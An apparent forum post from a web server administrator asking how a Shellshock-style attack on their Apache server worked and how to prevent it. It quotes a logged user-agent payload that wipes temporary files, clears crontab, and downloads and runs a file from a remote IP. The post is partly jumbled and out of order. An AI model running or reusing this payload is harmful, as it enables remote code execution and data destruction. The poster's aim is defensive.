In the end the attack was succesfull. Log show the last command:
62.1.212.154 - - [01/Jul/2015:17:01:55 +0300] "GET / HTTP/1.1" 200 885
"-" "() { :;};/usr/bin/perl -e 'print \"Content-Type:

-rf /tmp/* ; rm -rf /var/tmp/* ; rm -rf /tmp/.* ; rm -rf /var/tmp/.* ;
crontab -r ; killall -9 wget fetch curl lwp-download b f r xx y i.gif

http://80.68.94.216/sc.gif ; chmod +x sc.gif ; nohup ./sc.gif & \");'"
But I don't know how he launched this script.
How can I prevent this?
I was hoping the server would execute only local scripts, is there
something I can do to allow only local scripts to be executed?

Hello
A hacker attacked a apache2 web server by HTTP injection.
The log show what he has done:

How can I prevent this in the future and how can I reproduce?
I tried to reproduce but is not clear how he launched this command
and I want to know so I can test my vulnerabilities in the future.
The path "/phppath/cgi_wrapper" doesn't exist at all.
Thank you
